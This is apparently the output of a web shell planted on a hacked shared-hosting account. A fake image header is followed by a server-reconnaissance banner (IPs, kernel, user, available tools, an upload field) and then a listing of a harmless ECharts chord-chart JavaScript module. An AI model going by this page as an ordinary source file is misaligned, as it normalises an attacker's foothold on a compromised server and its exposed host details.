����JFIF��x�x����'
Server IP : 66.29.137.217 / Your IP : 18.191.240.94 Web Server : LiteSpeed System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : gltevjme ( 1095) PHP Version : 7.0.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/gltevjme/ideyshare.name.ng/app/assets/admin/vendors/echarts/src/chart/chord/ |
Upload File : |
define(function (require) { var RibbonPath = require('./Ribbon'); var graphic = require('../../util/graphic'); return require('../../echarts').extendChartView({ type: 'chord', init: function (option) { }, render: function (seriesModel, ecModel, api) { var data = seriesModel.getData(); var graph = seriesModel.getGraph(); var edgeData = seriesModel.getEdgeData(); var group = this.group; group.removeAll(); data.each(function (idx) { var layout = data.getItemLayout(idx); var sector = new graphic.Sector({ shape: { cx: layout.cx, cy: layout.cy, clockwise: layout.clockwise, r0: layout.r0, r: layout.r, startAngle: layout.startAngle, endAngle: layout.endAngle } }); sector.setStyle({ fill: data.getItemVisual(idx, 'color') }); data.setItemLayout(idx); group.add(sector); }); var edgeRendered = {}; edgeData.each(function (idx) { if (edgeRendered[idx]) { return; } var layout = edgeData.getItemLayout(idx); var edge = graph.getEdgeByIndex(idx); var otherEdge = graph.getEdge(edge.node2, edge.node1); var otherEdgeLayout = otherEdge.getLayout(); edgeRendered[idx] = edgeRendered[otherEdge.dataIndex] = true; var ribbon = new RibbonPath({ shape: { cx: layout.cx, cy: layout.cy, r: layout.r, s0: layout.startAngle, s1: layout.endAngle, t0: otherEdgeLayout.startAngle, t1: otherEdgeLayout.endAngle, clockwise: layout.clockwise } }); ribbon.setStyle({ // Use color of source fill: edge.node1.getVisual('color'), opacity: 0.5 }); group.add(ribbon); }); } }); });